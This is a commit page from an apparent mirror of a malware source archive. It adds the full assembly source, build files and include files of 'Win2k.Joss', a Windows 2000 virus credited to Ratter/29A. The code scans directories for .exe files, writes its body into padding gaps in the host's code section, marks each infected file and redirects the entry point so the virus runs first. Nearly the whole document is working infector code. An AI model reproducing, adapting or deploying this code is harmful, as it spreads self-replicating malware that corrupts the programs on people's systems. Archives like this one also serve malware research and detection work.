mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,715 @@
|
||||
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
|
||||
; Win2k.Joss by Ratter/29A
|
||||
|
||||
.586p
|
||||
.model flat, stdcall
|
||||
locals
|
||||
|
||||
include useful.inc
|
||||
include win32api.inc
|
||||
include mz.inc
|
||||
include pe.inc
|
||||
include my_macroz.inc
|
||||
|
||||
NtOpenFile equ 64h
|
||||
NtQueryDirectoryFile equ 7dh
|
||||
NtClose equ 18h
|
||||
NtCreateSection equ 2bh
|
||||
NtMapViewOfSection equ 5dh
|
||||
NtUnmapViewOfSection equ 0e7h
|
||||
|
||||
unicode_string struc
|
||||
us_length dw ?
|
||||
dw ?
|
||||
us_pstring dd ?
|
||||
unicode_string ends
|
||||
|
||||
path_name struc
|
||||
pn_name dw MAX_PATH dup(?)
|
||||
path_name ends
|
||||
|
||||
object_attributes struc
|
||||
oa_length dd ?
|
||||
oa_rootdir dd ?
|
||||
oa_objectname dd ?
|
||||
oa_attribz dd ?
|
||||
oa_secdesc dd ?
|
||||
oa_secqos dd ?
|
||||
object_attributes ends
|
||||
|
||||
pio_status_block struc
|
||||
psb_ntstatus dd ?
|
||||
psb_info dd ?
|
||||
pio_status_block ends
|
||||
|
||||
@asciiz_to_unicode macro
|
||||
xor ah, ah
|
||||
lodsb
|
||||
stosw
|
||||
test al, al
|
||||
jz $+4
|
||||
jmp $-7
|
||||
endm
|
||||
|
||||
@syscall macro fc, paramz
|
||||
mov eax, fc
|
||||
mov edx, esp
|
||||
int 2eh
|
||||
add esp, (paramz*4)
|
||||
endm
|
||||
|
||||
.data
|
||||
db ?
|
||||
|
||||
.code
|
||||
|
||||
start_:
|
||||
_joss_start_ equ $
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp joss_end>
|
||||
|
||||
bt dword ptr [esp+8+cPushad], 31
|
||||
jc joss_end
|
||||
|
||||
start proc near
|
||||
local trailings:unicode_string
|
||||
local trailings_point_dir:path_name
|
||||
local object_attribz:object_attributes
|
||||
local dhandle:DWORD
|
||||
local io_status_block:pio_status_block
|
||||
local find_buffer:path_name
|
||||
|
||||
local wfnd:WIN32_FIND_DATA
|
||||
|
||||
mov dword ptr [trailings], 80008h
|
||||
lea eax, [trailings_point_dir]
|
||||
mov dword ptr [trailings.us_pstring], eax
|
||||
|
||||
@pushsz "\??\"
|
||||
pop esi
|
||||
xchg eax, edi
|
||||
@asciiz_to_unicode
|
||||
|
||||
xor ecx, ecx
|
||||
mov esi, 20290h
|
||||
movzx eax, word ptr [trailings]
|
||||
lea edi, [trailings_point_dir+eax]
|
||||
|
||||
lodsw
|
||||
test ax, ax
|
||||
jz $+7
|
||||
inc ecx
|
||||
stosw
|
||||
jmp $-10
|
||||
|
||||
shl ecx, 1
|
||||
add cx, word ptr [trailings]
|
||||
mov ax, cx
|
||||
shl ecx, 16
|
||||
mov cx, ax
|
||||
mov dword ptr [trailings], ecx
|
||||
|
||||
xor eax, eax
|
||||
lea edi, [object_attribz]
|
||||
push edi
|
||||
push 18h/4
|
||||
pop ecx
|
||||
rep stosd
|
||||
pop edi
|
||||
|
||||
push 18h
|
||||
pop dword ptr [edi]
|
||||
lea eax, [trailings]
|
||||
mov dword ptr [edi+8], eax
|
||||
push 40h
|
||||
pop dword ptr [edi+12]
|
||||
|
||||
push 4021h
|
||||
push 03h
|
||||
lea eax, [io_status_block]
|
||||
push eax
|
||||
push edi
|
||||
push 100001h
|
||||
lea eax, [dhandle]
|
||||
push eax
|
||||
@syscall NtOpenFile, 6
|
||||
mov ebx, dword ptr [dhandle]
|
||||
|
||||
xor ecx, ecx
|
||||
main_loop:
|
||||
push ecx
|
||||
|
||||
xor eax, eax
|
||||
push eax
|
||||
call $+13
|
||||
dw 0ah
|
||||
dw 0ah
|
||||
dd ?
|
||||
pop esi
|
||||
call $+15
|
||||
dw '<', '.', 'e', 'x', 'e'
|
||||
pop edi
|
||||
mov dword ptr [esi+4], edi
|
||||
jecxz $+4
|
||||
xor esi, esi
|
||||
push esi
|
||||
push 1
|
||||
push 3
|
||||
push MAX_PATH*2
|
||||
lea edx, [find_buffer]
|
||||
push edx
|
||||
lea edx, [io_status_block]
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push ebx
|
||||
@syscall NtQueryDirectoryFile, 11
|
||||
pop ecx
|
||||
test eax, eax
|
||||
jnz main_loop_end
|
||||
|
||||
push dword ptr [trailings]
|
||||
|
||||
lea esi, [find_buffer]
|
||||
lea edi, [trailings]
|
||||
call infect_file
|
||||
|
||||
pop dword ptr [trailings]
|
||||
|
||||
inc ecx
|
||||
jmp main_loop
|
||||
|
||||
main_loop_end:
|
||||
push ebx
|
||||
@syscall NtClose, 1
|
||||
|
||||
leave
|
||||
joss_end:
|
||||
@SEH_RemoveFrame
|
||||
popad
|
||||
mov eax, offset end
|
||||
host_start equ $-4
|
||||
jmp eax
|
||||
|
||||
db 0, "[Win2k.Joss] by Ratter/29A", 0
|
||||
|
||||
infect_file proc near
|
||||
local trailings_point_dir:path_name
|
||||
local object_attribz:object_attributes
|
||||
local dhandle:DWORD
|
||||
local shandle:DWORD
|
||||
local io_status_block:pio_status_block
|
||||
local soffset:DWORD
|
||||
local bytes:DWORD
|
||||
local soffset_:QWORD
|
||||
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp infect_file_end>
|
||||
|
||||
movzx eax, word ptr [edi]
|
||||
mov edx, dword ptr [edi+4]
|
||||
push edi
|
||||
lea edi, [edx+eax]
|
||||
|
||||
mov ecx, dword ptr [esi+3ch]
|
||||
push ecx
|
||||
lea esi, [esi+5eh]
|
||||
rep movsb
|
||||
|
||||
pop ecx
|
||||
pop edi
|
||||
|
||||
add cx, word ptr [edi]
|
||||
mov ax, cx
|
||||
shl ecx, 16
|
||||
mov cx, ax
|
||||
mov dword ptr [edi], ecx
|
||||
xchg edi, esi
|
||||
|
||||
xor eax, eax
|
||||
lea edi, [object_attribz]
|
||||
push edi
|
||||
push 18h/4
|
||||
pop ecx
|
||||
rep stosd
|
||||
pop edi
|
||||
|
||||
push 18h
|
||||
pop dword ptr [edi]
|
||||
mov dword ptr [edi+8], esi
|
||||
push 40h
|
||||
pop dword ptr [edi+12]
|
||||
|
||||
push 4060h
|
||||
push 03h
|
||||
lea eax, [io_status_block]
|
||||
push eax
|
||||
push edi
|
||||
push 100007h
|
||||
lea eax, [dhandle]
|
||||
push eax
|
||||
@syscall NtOpenFile, 6
|
||||
test eax, eax
|
||||
jnz infect_file_end
|
||||
|
||||
xor eax, eax
|
||||
push dword ptr [dhandle]
|
||||
push 08000000h
|
||||
push PAGE_READWRITE
|
||||
push eax
|
||||
push eax
|
||||
push 0f0007h
|
||||
lea eax, [shandle]
|
||||
push eax
|
||||
@syscall NtCreateSection, 7
|
||||
test eax, eax
|
||||
jnz infect_file_end_close_file
|
||||
|
||||
lea edi, [soffset]
|
||||
std
|
||||
mov ecx, 4
|
||||
xor eax, eax
|
||||
rep stosd
|
||||
cld
|
||||
|
||||
xor eax, eax
|
||||
push 4
|
||||
push eax
|
||||
push 1
|
||||
lea edx, [bytes]
|
||||
push edx
|
||||
lea edx, [soffset_]
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
lea eax, [soffset]
|
||||
push eax
|
||||
push -1
|
||||
push dword ptr [shandle]
|
||||
@syscall NtMapViewOfSection, 10
|
||||
test eax, eax
|
||||
jnz infect_file_end_close_section
|
||||
mov ebx, dword ptr [soffset]
|
||||
|
||||
;
|
||||
call check_for_valid_pe
|
||||
jc infect_file_end_unmap_view
|
||||
jnz infect_file_end_unmap_view
|
||||
|
||||
cmp dword ptr [ebx.MZ_res], not "RAT"
|
||||
jz infect_file_end_unmap_view
|
||||
|
||||
mov eax, dword ptr [ebx.MZ_lfanew]
|
||||
add eax, ebx
|
||||
movzx edi, word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||||
lea edi, [edi+eax+IMAGE_SIZEOF_FILE_HEADER+4]
|
||||
mov esi, dword ptr [edi.SH_PointerToRawData]
|
||||
mov ecx, dword ptr [edi.SH_SizeOfRawData]
|
||||
add esi, ebx
|
||||
|
||||
xor edx, edx
|
||||
gap_loop:
|
||||
jecxz gap_loop_end
|
||||
lodsb
|
||||
dec ecx
|
||||
call is_gap
|
||||
jz $+6
|
||||
xor edx, edx
|
||||
jmp gap_loop
|
||||
|
||||
inc edx
|
||||
cmp edx, _joss_end_-_joss_start_
|
||||
jnz gap_loop
|
||||
|
||||
gap_loop_end:
|
||||
cmp edx, _joss_end_-_joss_start_
|
||||
jnz infect_file_end_unmap_view
|
||||
|
||||
sub esi, _joss_end_-_joss_start_
|
||||
push esi
|
||||
sub esi, dword ptr [edi.SH_PointerToRawData]
|
||||
pop edi
|
||||
sub esi, ebx
|
||||
|
||||
push esi
|
||||
call $+5
|
||||
joss_here:
|
||||
pop esi
|
||||
sub esi, joss_here-_joss_start_
|
||||
mov ecx, _joss_end_-_joss_start_
|
||||
rep movsb
|
||||
pop esi
|
||||
|
||||
mov eax, dword ptr [ebx.MZ_lfanew]
|
||||
mov dword ptr [ebx.MZ_res], not "RAT"
|
||||
add eax, ebx
|
||||
and dword ptr [eax.NT_OptionalHeader.OH_CheckSum], 0
|
||||
|
||||
mov ecx, dword ptr [eax.NT_OptionalHeader.OH_ImageBase]
|
||||
add ecx, dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||||
mov dword ptr [edi-(_joss_end_-host_start)], ecx
|
||||
|
||||
mov edx, dword ptr [eax.NT_OptionalHeader.OH_BaseOfCode]
|
||||
add edx, esi
|
||||
mov dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
|
||||
;
|
||||
|
||||
infect_file_end_unmap_view:
|
||||
push ebx
|
||||
push -1
|
||||
@syscall NtUnmapViewOfSection, 2
|
||||
infect_file_end_close_section:
|
||||
push dword ptr [shandle]
|
||||
@syscall NtClose, 1
|
||||
infect_file_end_close_file:
|
||||
push dword ptr [dhandle]
|
||||
@syscall NtClose, 1
|
||||
infect_file_end:
|
||||
@SEH_RemoveFrame
|
||||
popad
|
||||
leave
|
||||
retn
|
||||
infect_file endp
|
||||
|
||||
check_for_valid_pe:
|
||||
pushad
|
||||
movzx eax, word ptr [ebx]
|
||||
not eax
|
||||
cmp eax, not "ZM"
|
||||
stc
|
||||
jnz check_for_valid_pe_end
|
||||
mov edx, dword ptr [ebx.MZ_lfanew]
|
||||
add edx, ebx
|
||||
movzx eax, word ptr [edx]
|
||||
not eax
|
||||
cmp eax, not "EP"
|
||||
stc
|
||||
jnz check_for_valid_pe_end
|
||||
cmp word ptr [edx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
|
||||
stc
|
||||
jnz check_for_valid_pe_end
|
||||
movzx eax, word ptr [edx.NT_FileHeader.FH_Characteristics]
|
||||
not al
|
||||
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
|
||||
clc
|
||||
check_for_valid_pe_end:
|
||||
popad
|
||||
retn
|
||||
|
||||
is_gap:
|
||||
cmp al, 90h
|
||||
jz is_gap_end
|
||||
cmp al, 0cch
|
||||
jz is_gap_end
|
||||
test al, al
|
||||
jz is_gap_end
|
||||
is_gap_end:
|
||||
retn
|
||||
|
||||
_joss_end_ equ $
|
||||
|
||||
end:
|
||||
push 0
|
||||
calle ExitProcess
|
||||
|
||||
start endp
|
||||
end start_
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
|
||||
NAME PREDLOHA WINDOWAPI
|
||||
|
||||
DESCRIPTION 'Predloha'
|
||||
|
||||
CODE PRELOAD MOVEABLE DISCARDABLE
|
||||
DATA PRELOAD MOVEABLE MULTIPLE
|
||||
|
||||
EXETYPE WINDOWS
|
||||
|
||||
HEAPSIZE 131072
|
||||
STACKSIZE 131072
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
|
||||
SERVICE_TABLE_ENTRY struc
|
||||
STE_ServiceName dd ?
|
||||
STE_ServiceProc dd ?
|
||||
SERVICE_TABLE_ENTRY ends
|
||||
|
||||
SERVICE_STATUS struc
|
||||
SS_ServiceType dd ?
|
||||
SS_CurrentState dd ?
|
||||
SS_ControlsAccepted dd ?
|
||||
SS_Win32ExitCode dd ?
|
||||
SS_ServiceSpecificExitCode dd ?
|
||||
SS_CheckPoint dd ?
|
||||
SS_WaitHint dd ?
|
||||
SERVICE_STATUS ends
|
||||
|
||||
OVERLAPPED struc
|
||||
O_Internal dd ?
|
||||
O_InternalHigh dd ?
|
||||
O_loffset dd ?
|
||||
O_OffsetHigh dd ?
|
||||
O_hEvent dd ?
|
||||
OVERLAPPED ends
|
||||
|
||||
sockaddr_in struc
|
||||
sin_family dw ?
|
||||
sin_port dw ?
|
||||
sin_addr dd ?
|
||||
sin_zero db 8 dup (?)
|
||||
sockaddr_in ends
|
||||
|
||||
hostent struc
|
||||
h_name dd ?
|
||||
h_alias dd ?
|
||||
h_addr dw ?
|
||||
h_len dw ?
|
||||
h_list dd ?
|
||||
hostent ends
|
||||
|
||||
timeval struc
|
||||
tv_sec dd ?
|
||||
tv_usec dd ?
|
||||
timeval ends
|
||||
|
||||
fd_set struc
|
||||
fd_count dd ?
|
||||
fd_array dd ?
|
||||
fd_set ends
|
||||
|
||||
RASCONNSTATUSA struc
|
||||
RCS_dwSize dd ?
|
||||
RCS_rasconnstate dd ?
|
||||
RCS_dwError dd ?
|
||||
RCS_szDeviceType db 16 + 1 dup(?)
|
||||
RCS_szDeviceName db 128 + 1 dup(?)
|
||||
RASCONNSTATUSA ends
|
||||
|
||||
_email_ struc
|
||||
EM_MailFrom dd ? ; pointer to ASCIIZ
|
||||
EM_RcptTo dd ? ; pointer to ASCIIZ
|
||||
EM_Subject dd ? ; pointer to ASCIIZ
|
||||
EM_Message dd ? ; pointer to ASCIIZ
|
||||
EM_FilezNum dd ? ; number of filez; if highest bit is set
|
||||
; then in EM_Filez is a *.msg file
|
||||
EM_Filez dd ? ; pointer to ASCIIZ pointerz
|
||||
_email_ ends
|
||||
|
||||
SYSTEMTIME struc
|
||||
ST_Year dw ?
|
||||
ST_Month dw ?
|
||||
ST_DayOfWeek dw ?
|
||||
ST_Day dw ?
|
||||
ST_Hour dw ?
|
||||
ST_Minute dw ?
|
||||
ST_Second dw ?
|
||||
ST_Milliseconds dw ?
|
||||
SYSTEMTIME ends
|
||||
|
||||
oper struc
|
||||
OP_Oper dd ?
|
||||
OP_Rites db ? ; 1 - RW; 0 - Ronly
|
||||
oper ends
|
||||
|
||||
@copy macro source
|
||||
local copy_end
|
||||
local copy_loop
|
||||
push esi
|
||||
mov esi, source
|
||||
copy_loop:
|
||||
lodsb
|
||||
test al, al
|
||||
jz copy_end
|
||||
stosb
|
||||
jmp copy_loop
|
||||
copy_end:
|
||||
pop esi
|
||||
endm
|
||||
|
||||
@endsz_ macro
|
||||
local nxtchr
|
||||
push esi
|
||||
mov esi, edi
|
||||
nxtchr:
|
||||
lodsb
|
||||
test al, al
|
||||
jnz nxtchr
|
||||
xchg esi, edi
|
||||
pop esi
|
||||
endm
|
||||
|
||||
@pushvar macro variable, empty
|
||||
local next_instr
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushvar'
|
||||
.err
|
||||
endif
|
||||
call next_instr
|
||||
variable
|
||||
next_instr:
|
||||
endm
|
||||
|
||||
CR_LF equ 0a0dh
|
||||
WAIT_TIMEOUT equ 103h
|
||||
SMTP_PORT equ 25
|
||||
|
||||
SC_MANAGER_CONNECT equ 1
|
||||
SC_MANAGER_CREATE_SERVICE equ 2
|
||||
DELETE equ 10000h
|
||||
SERVICE_AUTO_START equ 2
|
||||
SERVICE_WIN32_OWN_PROCESS equ 10h
|
||||
SERVICE_ACCEPT_SHUTDOWN equ 4
|
||||
SERVICE_CONTROL_RUN equ 0
|
||||
CK_SERVICE_CONTROL equ 0
|
||||
CK_PIPE equ 1
|
||||
NO_ERROR equ 0
|
||||
|
||||
SERVICE_CONTROL_INTERROGATE equ 4
|
||||
SERVICE_CONTROL_SHUTDOWN equ 5
|
||||
|
||||
SERVICE_STOPPED equ 1
|
||||
SERVICE_START_PENDING equ 2
|
||||
SERVICE_STOP_PENDING equ 3
|
||||
SERVICE_RUNNING equ 4
|
||||
SERVICE_CONTINUE_PENDING equ 5
|
||||
SERVICE_PAUSE_PENDING equ 6
|
||||
SERVICE_PAUSED equ 7
|
||||
|
||||
PIPE_ACCESS_OUTBOUND equ 2
|
||||
PIPE_TYPE_BYTE equ 0
|
||||
FILE_FLAG_OVERLAPPED equ 40000000h
|
||||
|
||||
INFINITE equ -1
|
||||
|
||||
AF_INET equ 2
|
||||
HEAP_ZERO_MEMORY equ 8
|
||||
SOCK_STREAM equ 1
|
||||
CR_LF equ 0a0dh
|
||||
MAX_ALLOWED_OPERZ equ 5
|
||||
SYNCHRONIZE equ 100000h
|
||||
|
||||
RASCS_CONNECTED equ 2000h
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT equ 4
|
||||
HKEY_LOCAL_MACHINE equ 80000002h
|
||||
KEY_ENUMERATE_SUB_KEYS equ 8h
|
||||
HKEY_USERS equ 80000003h
|
||||
KEY_QUERY_VALUE equ 1
|
||||
KEY_SET_VALUE equ 2
|
||||
REG_SZ equ 1
|
||||
REG_DWORD equ 4
|
||||
ERROR_NO_MORE_ITEMS equ 259
|
||||
|
||||
INET_THREADZ_COUNT equ 2
|
||||
INTERNET_OPEN_TYPE_DIRECT equ 1
|
||||
|
||||
POP3_PORT equ 110
|
||||
OK equ " KO+"
|
||||
ERROR equ "RRE-"
|
||||
|
||||
SOXZ_PORT equ 1080
|
||||
|
||||
STARTUPINFO STRUCT ;used by CreateProcessA API
|
||||
cb DWORD ?
|
||||
lpReserved DWORD ?
|
||||
lpDesktop DWORD ?
|
||||
lpTitle DWORD ?
|
||||
dwX DWORD ?
|
||||
dwY DWORD ?
|
||||
dwXSize DWORD ?
|
||||
dwYSize DWORD ?
|
||||
dwXCountChars DWORD ?
|
||||
dwYCountChars DWORD ?
|
||||
dwFillAttribute DWORD ?
|
||||
dwFlags DWORD ?
|
||||
wShowWindow WORD ?
|
||||
cbReserved2 WORD ?
|
||||
lpReserved2 DWORD ?
|
||||
hStdInput DWORD ?
|
||||
hStdOutput DWORD ?
|
||||
hStdError DWORD ?
|
||||
STARTUPINFO ENDS
|
||||
PROCESS_INFORMATION STRUCT
|
||||
hProcess DWORD ?
|
||||
hThread DWORD ?
|
||||
dwProcessId DWORD ?
|
||||
dwThreadId DWORD ?
|
||||
PROCESS_INFORMATION ENDS
|
||||
|
||||
GMEM_ZEROINIT equ 040h
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
|
||||
@pushvar macro variable, empty
|
||||
local next_instr
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushvar'
|
||||
.err
|
||||
endif
|
||||
call next_instr
|
||||
variable
|
||||
next_instr:
|
||||
endm
|
||||
|
||||
@messagebox macro message, empty
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushvar'
|
||||
.err
|
||||
endif
|
||||
push 0
|
||||
@pushsz "Debug"
|
||||
@pushsz <message>
|
||||
push 0
|
||||
call MessageBoxA
|
||||
endm
|
||||
|
||||
calle macro api
|
||||
extrn api:PROC
|
||||
call api
|
||||
endm
|
||||
|
||||
@gimme_delta macro
|
||||
local gimme_delta
|
||||
call gimme_delta
|
||||
gimme_delta:
|
||||
mov esi, esp
|
||||
lodsd
|
||||
sub eax, offset gimme_delta
|
||||
xchg eax, ebp
|
||||
mov esp, esi
|
||||
endm
|
||||
|
||||
calla macro api
|
||||
call dword ptr [ebp+api]
|
||||
endm
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ
|
||||
# make Will build pemangle.exe
|
||||
# make -B -DDEBUG Will build the debug version of pemangle.exe
|
||||
|
||||
NAME = joss
|
||||
OBJS = $(NAME).obj
|
||||
DEF = $(NAME).def
|
||||
|
||||
!if $d(DEBUG)
|
||||
TASMDEBUG=/zi /m
|
||||
LINKDEBUG=/v
|
||||
!else
|
||||
TASMDEBUG=/m
|
||||
LINKDEBUG=
|
||||
!endif
|
||||
|
||||
!if $d(MAKEDIR)
|
||||
IMPORT=import32.lib # Edit this to point your own library path
|
||||
!else
|
||||
IMPORT=import32.lib # or put the file in the same directory
|
||||
!endif
|
||||
|
||||
$(NAME).EXE: $(OBJS) $(DEF)
|
||||
tlink32 /Tpe /aa /c /x $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF)
|
||||
pewrite.exe $(NAME).exe
|
||||
del $(OBJS)
|
||||
|
||||
.asm.obj:
|
||||
tasm32 $(TASMDEBUG) /ml /i..\..\includes $&.asm
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ
|
||||
Reference in New Issue
Block a user